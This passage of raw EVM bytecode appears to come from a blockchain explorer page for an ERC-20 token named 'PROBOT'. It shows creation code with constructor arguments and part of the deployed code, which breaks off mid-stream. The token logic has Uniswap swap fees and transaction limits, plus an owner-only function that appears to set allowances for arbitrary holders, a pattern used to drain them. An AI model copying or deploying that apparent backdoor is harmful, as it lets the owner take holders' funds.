b50506001821b6200049c565b5060208310610133831016604e8410600b8410161715620008fa575081810a6200049c565b62000906838362000828565b80600019048211156200091d576200091d62000812565b029392505050565b60006200049960ff84168362000871565b600081600019048311821515161562000953576200095362000812565b500290565b600082198211156200096e576200096e62000812565b500190565b6000826200099157634e487b7160e01b600052601260045260246000fd5b500490565b6020815260008251806020840152620009b78160408501602087016200066b565b601f01601f19169190910160400192915050565b600181811c90821680620009e057607f821691505b6020821081141562000a0257634e487b7160e01b600052602260045260246000fd5b50919050565b6123338062000a186000396000f3fe6080604052600436106102cd5760003560e01c80638b42507f11610175578063c8607952116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac1461085e578063f2fde38b14610874578063f872858a14610894578063fb1eb14b146108b557600080fd5b8063da00097d146107e1578063dc44b6a014610802578063dd62ed3e1461081857600080fd5b8063c86079521461072f578063c867d60b14610745578063cab0347114610775578063d158272d1461078b578063d187f417146107ab578063d724b50c146107c157600080fd5b8063a83f53a71161012e578063a83f53a71461068d578063a9059cbb146106a3578063b2bdfa7b146106c3578063c469b6dd146106e3578063c5d24189146106f9578063c816841b1461070f57600080fd5b80638b42507f146105ec5780638da5cb5b1461061c57806390523a3e1461063a57806395d89b4114610642578063a08e671f14610657578063a457c2d71461066d57600080fd5b80634a74bb0211610234578063715018a6116101ed5780637d1db4a5116101c75780637d1db4a514610594578063807c2d9c146105aa57806382eefb43146105c057806388790a68146105d657600080fd5b8063715018a614610552578063751039fc146105695780637abdc1ca1461057e57600080fd5b80634a74bb021461048c5780635342acb4146104ad578063557ed1ba146104dd57806357a5802f146104f057806361a23c691461050657806370a082311461051c57600080fd5b806323b872dd1161028657806323b872dd146103c557806327c8f835146103e55780632b112e4914610405578063313ce5671461041a578063395093511461043c5780633ecad2711461045c57600080fd5b806306fdde03146102d9578063095ea7b3146103045780631245e347146103345780631694505e1461036c57806316f2f1a81461038c57806318160ddd146103b057600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ee6108cb565b6040516102fb9190611e21565b60405180910390f35b34801561031057600080fd5b5061032461031f366004611e8e565b61095d565b60405190151581526020016102fb565b34801561034057600080fd5b50600254610354906001600160a01b031681565b6040516001600160a01b0390911681526020016102fb565b34801561037857600080fd5b50602254610354906001600160a01b031681565b34801561039857600080fd5b506103a260075481565b6040519081526020016102fb565b3480156103bc57600080fd5b50601e546103a2565b3480156103d157600080fd5b506103246103e0366004611eba565b610974565b3480156103f157600080fd5b50600354610354906001600160a01b031681565b34801561041157600080fd5b506103a26109df565b34801561042657600080fd5b5060155460405160ff90911681526020016102fb565b34801561044857600080fd5b50610324610457366004611e8e565b610a0b565b34801561046857600080fd5b50610324610477366004611efb565b601b6020526000908152604090205460ff1681565b34801561049857600080fd5b5060235461032490600160a81b900460ff1681565b3480156104b957600080fd5b506103246104c8366004611efb565b60186020526000908152604090205460ff1681565b3480156104e957600080fd5b50426103a2565b3480156104fc57600080fd5b506103a2600d5481565b34801561051257600080fd5b506103a2600e5481565b34801561052857600080fd5b506103a2610537366004611efb565b6001600160a01b031660009081526016602052604090205490565b34801561055e57600080fd5b50610567610a41565b005b34801561057557600080fd5b50610567610abe565b34801561058a57600080fd5b506103a2600c5481565b3480156105a057600080fd5b506103a2601f5481565b3480156105b657600080fd5b506103a260205481565b3480156105cc57600080fd5b506103a260125481565b3480156105e257600080fd5b506103a260095481565b3480156105f857600080fd5b50610324610607366004611efb565b601a6020526000908152604090205460ff1681565b34801561062857600080fd5b506000546001600160a01b0316610354565b610567610b2c565b34801561064e57600080fd5b506102ee610dcd565b34801561066357600080fd5b506103a260105481565b34801561067957600080fd5b50610324610688366004611e8e565b610ddc565b34801561069957600080fd5b506103a2600f5481565b3480156106af57600080fd5b506103246106be366004611e8e565b610e2b565b3480156106cf57600080fd5b50600054610354906001600160a01b031681565b3480156106ef57600080fd5b506103a260065481565b34801561070557600080fd5b506103a260055481565b34801561071b57600080fd5b50602354610354906001600160a01b031681565b34801561073b57600080fd5b506103a2600a5481565b34801561075157600080fd5b50610324610760366004611efb565b60196020526000908152604090205460ff1681565b34801561078157600080fd5b506103a2600b5481565b34801561079757600080fd5b50600154610354906001600160a01b031681565b3480156107b757600080fd5b506103a2601d5481565b3480156107cd57600080fd5b506103246107dc366004611eba565b610e38565b3480156107ed57600080fd5b5060235461032490600160b01b900460ff1681565b34801561080e57600080fd5b506103a260045481565b34801561082457600080fd5b506103a2610833366004611f18565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b34801561086a57600080fd5b506103a260115481565b34801561088057600080fd5b5061056761088f366004611efb565b610ea8565b3480156108a057600080fd5b5060235461032490600160b81b900460ff1681565b3480156108c157600080fd5b506103a2601c5481565b6060601380546108da90611f51565b80601f016020809104026020016040519081016040528092919081815260200182805461090690611f51565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905090565b600061096a3384846110b2565b5060015b92915050565b60006109818484846111d6565b506109d484336109cf85604051806060016040528060288152602001612291602891396001600160a01b038a166000908152601760209081526040808320338452909152902054919061164a565b6110b2565b5060015b9392505050565b6003546001600160a01b0316600090815260166020526040812054601e54610a0691611684565b905090565b3360008181526017602090815260408083206001600160a01b0387168452909152812054909161096a9185906109cf9086610f92565b6000546001600160a01b03163314610a745760405162461bcd60e51b8152600401610a6b90611f8c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ae85760405162461bcd60e51b8152600401610a6b90611f8c565b601554610af99060ff16600a6120bb565b601e54610b0691906120ca565b601f55601554610b1a9060ff16600a6120bb565b601e54610b2791906120ca565b602055565b6000546001600160a01b03163314610b565760405162461bcd60e51b8152600401610a6b90611f8c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd191906120e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4291906120e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb391906120e9565b602380546001600160a01b039283166001600160a01b031991821617825560228054858516921682178155601e5430600081815260176020908152604080832096835295815285822093909355855487168152601b8352848120805460ff1990811660019081179092559654881682526019845285822080549097161790955591548285526016909152919092205492169163f305d719913491600080610d626000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610d8496959493929190612106565b60606040518083038185885af1158015610da2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc79190612141565b50505050565b6060601480546108da90611f51565b600061096a33846109cf856040518060600160405280602581526020016122d9602591393360009081526017602090815260408083206001600160a01b038d168452909152902054919061164a565b60006109d43384846111d6565b600080546001600160a01b03163314610e635760405162461bcd60e51b8152600401610a6b90611f8c565b50600880546001600160a01b0319166001600160a01b039384169081179091559290911660009081526017602090815260408083209483529390529190912055600190565b6000546001600160a01b03163314610ed25760405162461bcd60e51b8152600401610a6b90611f8c565b6001600160a01b038116610f375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a6b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610f9f838561216f565b9050838110156109d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a6b565b6000826110005750600061096e565b600061100c83856120ca565b9050826110198583612187565b146109d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a6b565b60006109d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c6565b6001600160a01b0383166111145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a6b565b6001600160a01b0382166111755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a6b565b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661123c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a6b565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a6b565b600082116113005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a6b565b6001600160a01b03841660009081526018602052604090205460ff168061133f57506001600160a01b03831660009081526018602052604090205460ff165b156113565761134f8484846116f4565b90506109d8565b602354600160a01b900460ff16156113735761134f8484846116f4565b6001600160a01b0384166000908152601a602052604090205460ff161580156113b557506001600160a01b0383166000908152601a602052604090205460ff16155b1561141d57601f5482111561141d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a6b565b306000908152601660205260409020546021548110801590819061144b5750602354600160a01b900460ff16155b801561147057506001600160a01b0386166000908152601b602052604090205460ff16155b80156114855750602354600160a81b900460ff165b156114ab57602354600160b01b900460ff16156114a25760215491505b6114ab826117c8565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152601690915291909120546114fd91869061164a565b6001600160a01b038716600090815260166020908152604080832093909355601890529081205460ff168061154a57506001600160a01b03861660009081526018602052604090205460ff165b61155e576115598787876118fe565b611560565b845b602354909150600160b81b900460ff16801561159557506001600160a01b03861660009081526019602052604090205460ff16155b156115d1576020546115c6826115c0896001600160a01b031660009081526016602052604090205490565b90610f92565b11156115d157600080fd5b6001600160a01b0386166000908152601660205260409020546115f49082610f92565b6001600160a01b0380881660008181526016602052604090819020939093559151908916906000805160206122b9833981519152906116369085815260200190565b60405180910390a3600193505050506109d8565b6000818484111561166e5760405162461bcd60e51b8152600401610a6b9190611e21565b50600061167b84866121a9565b95945050505050565b60006109d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061164a565b600081836116e75760405162461bcd60e51b8152600401610a6b9190611e21565b50600061167b8486612187565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260169091529182205461174591849061164a565b6001600160a01b0380861660009081526016602052604080822093909355908516815220546117749083610f92565b6001600160a01b0380851660008181526016602052604090819020939093559151908616906000805160206122b9833981519152906117b69086815260200190565b60405180910390a35060019392505050565b6023805460ff60a01b1916600160a01b179055601054600d546000916117fe916002916117f89182908790610ff1565b90611070565b9050600061180c8383611684565b905061181781611b1b565b600d5447906000906118379061182e906002611070565b60105490611684565b9050600061185960026117f8846117f8600d5488610ff190919063ffffffff16565b90506000611876836117f8600f5487610ff190919063ffffffff16565b9050600061188e826118888786611684565b90611684565b905080156118ac576001546118ac906001600160a01b031682611cae565b81156118c8576002546118c8906001600160a01b031683611cae565b6000831180156118d85750600087115b156118e7576118e78784611ce9565b50506023805460ff60a01b19169055505050505050565b6008546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa15801561194b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196f91906121c0565b6001600160a01b0386166000908152601b602052604081205491925090819060ff1615611a03576119bc60646117f86119b560075460115461168490919063ffffffff16565b8890610ff1565b915060006007541180156119d35750601d54601c54105b156119fe576119f260646117f860075488610ff190919063ffffffff16565b90506119fe8782611d8b565b611a94565b6001600160a01b0386166000908152601b602052604090205460ff1615611a9457600f54611a319084611684565b9250611a5260646117f86119b5600c5460125461168490919063ffffffff16565b91506000600c54118015611a695750601d54601c54105b15611a9457611a8860646117f8600c5488610ff190919063ffffffff16565b9050611a948782611d8b565b8115611afc5730600090815260166020526040902054611ab49083610f92565b30600081815260166020526040908190209290925590516001600160a01b038916906000805160206122b983398151915290611af39086815260200190565b60405180910390a35b611b10611b098383610f92565b8690611684565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5057611b506121d9565b6001600160a01b03928316602091820292909201810191909152602254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcd91906120e9565b81600181518110611be057611be06121d9565b6001600160a01b039283166020918202929092010152602254611c0691309116846110b2565b60225460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c3f908590600090869030904290600401612233565b600060405180830381600087803b158015611c5957600080fd5b505af1158015611c6d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ca292919061226f565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611ce4573d6000803e3d6000fd5b505050565b602254611d019030906001600160a01b0316846110b2565b60225460085460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d419230928992600092839216904290600401612106565b60606040518083038185885af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190612141565b5050505050565b601d54601c5410611d9a575050565b6003546001600160a01b0316600090815260166020526040902054611dbf9082610f92565b6003546001600160a01b0316600090815260166020526040902055601c54611de79082610f92565b601c556003546040518281526001600160a01b03918216918416906000805160206122b98339815191529060200160405180910390a35050565b600060208083528351808285015260005b81811015611e4e57858101830151858201604001528201611e32565b81811115611e60576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611e8b57600080fd5b50565b60008060408385031215611ea157600080fd5b8235611eac81611e76565b946020939093013593505050565b600080600060608486031215611ecf57600080fd5b8335611eda81611e76565b92506020840135611eea81611e76565b929592945050506040919091013590565b600060208284031215611f0d57600080fd5b81356109d881611e76565b60008060408385031215611f2b57600080fd5b8235611f3681611e76565b91506020830135611f4681611e76565b809150509250929050565b600181811c90821680611f6557607f821691505b60208210811415611f8657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115612012578160001904821115611ff857611ff8611fc1565b8085161561200557918102915b93841c9390800290611fdc565b509250929050565b6000826120295750600161096e565b816120365750600061096e565b816001811461204c576002811461205657612072565b600191505061096e565b60ff84111561206757612067611fc1565b50506001821b61096e565b5060208310610133831016604e8410600b8410161715612095575081810a61096e565b61209f8383611fd7565b80600019048211156120b3576120b3611fc1565b029392505050565b60006109d860ff84168361201a565b60008160001904831182151516156120e4576120e4611fc1565b500290565b6000602082840312156120fb57600080fd5b81516109d881611e76565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561215657600080fd5b8351925060208401519150604084015190509250925092565b6000821982111561218257612182611fc1565b500190565b6000826121a457634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156121bb576121bb611fc1565b500390565b6000602082840312156121d257600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156122285781516001600160a01b031687529582019590820190600101612203565b509495945050505050565b85815284602082015260a06040820152600061225260a08301866121ef565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061228860408301846121ef565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f797e52f7d699872c175473d426c3af4d7a2a7da2efd2dddf7bca8c2a8aad78c64736f6c634300080b003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000c985ebe8c8a3d577679eeda794c6808c6bbef676000000000000000000000000c985ebe8c8a3d577679eeda794c6808c6bbef67600000000000000000000000089cb4bf11049e47458fd366cc1a7b31648076825000000000000000000000000000000000000000000000000000000000000000650524f424f540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000650524f424f540000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c80638b42507f11610175578063c8607952116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac1461085e578063f2fde38b14610874578063f872858a14610894578063fb1eb14b146108b557600080fd5b8063da00097d146107e1578063dc44b6a014610802578063dd62ed3e1461081857600080fd5b8063c86079521461072f578063c867d60b14610745578063cab0347114610775578063d158272d1461078b578063d187f417146107ab578063d724b50c146107c157600080fd5b8063a83f53a71161012e578063a83f53a71461068d578063a9059cbb146106a3578063b2bdfa7b146106c3578063c469b6dd146106e3578063c5d24189146106f9578063c816841b1461070f57600080fd5b80638b42507f146105ec5780638da5cb5b1461061c57806390523a3e1461063a57806395d89b4114610642578063a08e671f14610657578063a457c2d71461066d57600080fd5b80634a74bb0211610234578063715018a6116101ed5780637d1db4a5116101c75780637d1db4a514610594578063807c2d9c146105aa57806382eefb43146105c057806388790a68146105d657600080fd5b8063715018a614610552578063751039fc146105695780637abdc1ca1461057e57600080fd5b80634a74bb021461048c5780635342acb4146104ad578063557ed1ba146104dd57806357a5802f146104f057806361a23c691461050657806370a082311461051c57600080fd5b806323b872dd1161028657806323b872dd146103c557806327c8f835146103e55780632b112e4914610405578063313ce5671461041a578063395093511461043c5780633ecad2711461045c57600080fd5b806306fdde03146102d9578063095ea7b3146103045780631245e347146103345780631694505e1461036c57806316f2f1a81461038c57806318160ddd146103b057600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ee6108cb565b6040516102fb9190611e21565b60405180910390f35b34801561031057600080fd5b5061032461031f366004611e8e565b61095d565b60405190151581526020016102fb565b34801561034057600080fd5b50600254610354906001600160a01b031681565b6040516001600160a01b0390911681526020016102fb565b34801561037857600080fd5b50602254610354906001600160a01b031681565b34801561039857600080fd5b506103a260075481565b6040519081526020016102fb565b3480156103bc57600080fd5b50601e546103a2565b3480156103d157600080fd5b506103246103e0366004611eba565b610974565b3480156103f157600080fd5b50600354610354906001600160a01b031681565b34801561041157600080fd5b506103a26109df565b34801561042657600080fd5b5060155460405160ff90911681526020016102fb565b34801561044857600080fd5b50610324610457366004611e8e565b610a0b565b34801561046857600080fd5b50610324610477366004611efb565b601b6020526000908152604090205460ff1681565b34801561049857600080fd5b5060235461032490600160a81b900460ff1681565b3480156104b957600080fd5b506103246104c8366004611efb565b60186020526000908152604090205460ff1681565b3480156104e957600080fd5b50426103a2565b3480156104fc57600080fd5b506103a2600d5481565b34801561051257600080fd5b506103a2600e5481565b34801561052857600080fd5b506103a2610537366004611efb565b6001600160a01b031660009081526016602052604090205490565b34801561055e57600080fd5b50610567610a41565b005b34801561057557600080fd5b50610567610abe565b34801561058a57600080fd5b506103a2600c5481565b3480156105a057600080fd5b506103a2601f5481565b3480156105b657600080fd5b506103a260205481565b3480156105cc57600080fd5b506103a260125481565b3480156105e257600080fd5b506103a260095481565b3480156105f857600080fd5b50610324610607366004611efb565b601a6020526000908152604090205460ff1681565b34801561062857600080fd5b506000546001600160a01b0316610354565b610567610b2c565b34801561064e57600080fd5b506102ee610dcd565b34801561066357600080fd5b506103a260105481565b34801561067957600080fd5b50610324610688366004611e8e565b610ddc565b34801561069957600080fd5b506103a2600f5481565b3480156106af57600080fd5b506103246106be366004611e8e565b610e2b565b3480156106cf57600080fd5b50600054610354906001600160a01b031681565b3480156106ef57600080fd5b506103a260065481565b34801561070557600080fd5b506103a260055481565b34801561071b57600080fd5b50602354610354906001600160a01b031681565b34801561073b57600080fd5b506103a2600a5481565b34801561075157600080fd5b50610324610760366004611efb565b60196020526000908152604090205460ff1681565b34801561078157600080fd5b506103a2600b5481565b34801561079757600080fd5b50600154610354906001600160a01b031681565b3480156107b757600080fd5b506103a2601d5481565b3480156107cd57600080fd5b506103246107dc366004611eba565b610e38565b3480156107ed57600080fd5b5060235461032490600160b01b900460ff1681565b34801561080e57600080fd5b506103a260045481565b34801561082457600080fd5b506103a2610833366004611f18565b6001600160a01b03918216600090815260176020908152604080832093909416825291909152205490565b34801561086a57600080fd5b506103a260115481565b34801561088057600080fd5b5061056761088f366004611efb565b610ea8565b3480156108a057600080fd5b5060235461032490600160b81b900460ff1681565b3480156108c157600080fd5b506103a2601c5481565b6060601380546108da90611f51565b80601f016020809104026020016040519081016040528092919081815260200182805461090690611f51565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905090565b600061096a3384846110b2565b5060015b92915050565b60006109818484846111d6565b506109d484336109cf85604051806060016040528060288152602001612291602891396001600160a01b038a166000908152601760209081526040808320338452909152902054919061164a565b6110b2565b5060015b9392505050565b6003546001600160a01b0316600090815260166020526040812054601e54610a0691611684565b905090565b3360008181526017602090815260408083206001600160a01b0387168452909152812054909161096a9185906109cf9086610f92565b6000546001600160a01b03163314610a745760405162461bcd60e51b8152600401610a6b90611f8c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ae85760405162461bcd60e51b8152600401610a6b90611f8c565b601554610af99060ff16600a6120bb565b601e54610b0691906120ca565b601f55601554610b1a9060ff16600a6120bb565b601e54610b2791906120ca565b602055565b6000546001600160a01b03163314610b565760405162461bcd60e51b8152600401610a6b90611f8c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd191906120e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4291906120e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb391906120e9565b602380546001600160a01b039283166001600160a01b031991821617825560228054858516921682178155601e5430600081815260176020908152604080832096835295815285822093909355855487168152601b8352848120805460ff1990811660019081179092559654881682526019845285822080549097161790955591548285526016909152919092205492169163f305d719913491600080610d626000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610d8496959493929190612106565b60606040518083038185885af1158015610da2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc79190612141565b50505050565b6060601480546108da90611f51565b600061096a33846109cf856040518060600160405280602581526020016122d9602591393360009081526017602090815260408083206001600160a01b038d168452909152902054919061164a565b60006109d43384846111d6565b600080546001600160a01b03163314610e635760405162461bcd60e51b8152600401610a6b90611f8c565b50600880546001600160a01b0319166001600160a01b039384169081179091559290911660009081526017602090815260408083209483529390529190912055600190565b6000546001600160a01b03163314610ed25760405162461bcd60e51b8152600401610a6b90611f8c565b6001600160a01b038116610f375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a6b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610f9f838561216f565b9050838110156109d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a6b565b6000826110005750600061096e565b600061100c83856120ca565b9050826110198583612187565b146109d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a6b565b60006109d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c6565b6001600160a01b0383166111145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a6b565b6001600160a01b0382166111755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a6b565b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661123c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a6b565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a6b565b600082116113005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a6b565b6001600160a01b03841660009081526018602052604090205460ff168061133f57506001600160a01b03831660009081526018602052604090205460ff165b156113565761134f8484846116f4565b90506109d8565b602354600160a01b900460ff16156113735761134f8484846116f4565b6001600160a01b0384166000908152601a602052604090205460ff161580156113b557506001600160a01b0383166000908152601a602052604090205460ff16155b1561141d57601f5482111561141d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a6b565b306000908152601660205260409020546021548110801590819061144b5750602354600160a01b900460ff16155b801561147057506001600160a01b0386166000908152601b602052604090205460ff16155b80156114855750602354600160a81b900460ff165b156114ab57602354600160b01b900460ff16156114a25760215491505b6114ab826117c8565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152601690915291909120546114fd91869061164a565b6001600160a01b038716600090815260166020908152604080832093909355601890529081205460ff168061154a57506001600160a01b03861660009081526018602052604090205460ff165b61155e576115598787876118fe565b611560565b845b602354909150600160b81b900460ff16801561159557506001600160a01b03861660009081526019602052604090205460ff16155b156115d1576020546115c6826115c0896001600160a01b031660009081526016602052604090205490565b90610f92565b11156115d157600080fd5b6001600160a01b0386166000908152601660205260409020546115f49082610f92565b6001600160a01b0380881660008181526016602052604090819020939093559151908916906000805160206122b9833981519152906116369085815260200190565b60405180910390a3600193505050506109d8565b6000818484111561166e5760405162461bcd60e51b8152600401610a6b9190611e21565b50600061167b84866121a9565b95945050505050565b60006109d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061164a565b600081836116e75760405162461bcd60e51b8152600401610a6b9190611e21565b50600061167b8486612187565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260169091529182205461174591849061164a565b6001600160a01b0380861660009081526016602052604080822093909355908516815220546117749083610f92565b6001600160a01b0380851660008181526016602052604090819020939093559151908616906000805160206122b9833981519152906117b69086815260200190565b60405180910390a35060019392505050565b6023805460ff60a01b1916600160a01b179055601054600d546000916117fe916002916117f89182908790610ff1565b90611070565b9050600061180c8383611684565b905061181781611b1b565b600d5447906000906118379061182e906002611070565b60105490611684565b9050600061185960026117f8846117f8600d5488610ff190919063ffffffff16565b90506000611876836117f8600f5487610ff190919063ffffffff16565b9050600061188e826118888786611684565b90611684565b905080156118ac576001546118ac906001600160a01b031682611cae565b81156118c8576002546118c8906001600160a01b031683611cae565b6000831180156118d85750600087115b156118e7576118e78784611ce9565b50506023805460ff60a01b19169055505050505050565b6008546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa15801561194b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196f91906121c0565b6001600160a01b0386166000908152601b602052604081205491925090819060ff1615611a03576119bc60646117f86119b560075460115461168490919063ffffffff16565b8890610ff1565b915060006007541180156119d35750601d54601c54105b156119fe576119f260646117f860075488610ff190919063ffffffff16565b90506119fe8782611d8b565b611a94565b6001600160a01b0386166000908152601b602052604090205460ff1615611a9457600f54611a319084611684565b9250611a5260646117f86119b5600c5460125461168490919063ffffffff16565b91506000600c54118015611a695750601d54601c54105b15611a9457611a8860646117f8600c5488610ff190919063ffffffff16565b9050611a948782611d8b565b8115611afc5730600090815260166020526040902054611ab49083610f92565b30600081815260166020526040908190209290925590516001600160a01b038916906000805160206122b983398151915290611af39086815260200190565b60405180910390a35b611b10611b098383610f92565b8690611684565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5057611b506121d9565b6001600160a01b03928316602091820292909201810191909152602254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcd91906120e9565b81600181518110611be057611be06121d9565b6001600160a01b039283166020918202929092010152602254611c0691309116846110b2565b60225460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c3f908590600090869030904290600401612233565b600060405180830381600087803b158015611c5957600080fd5b505af1158015611c6d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c2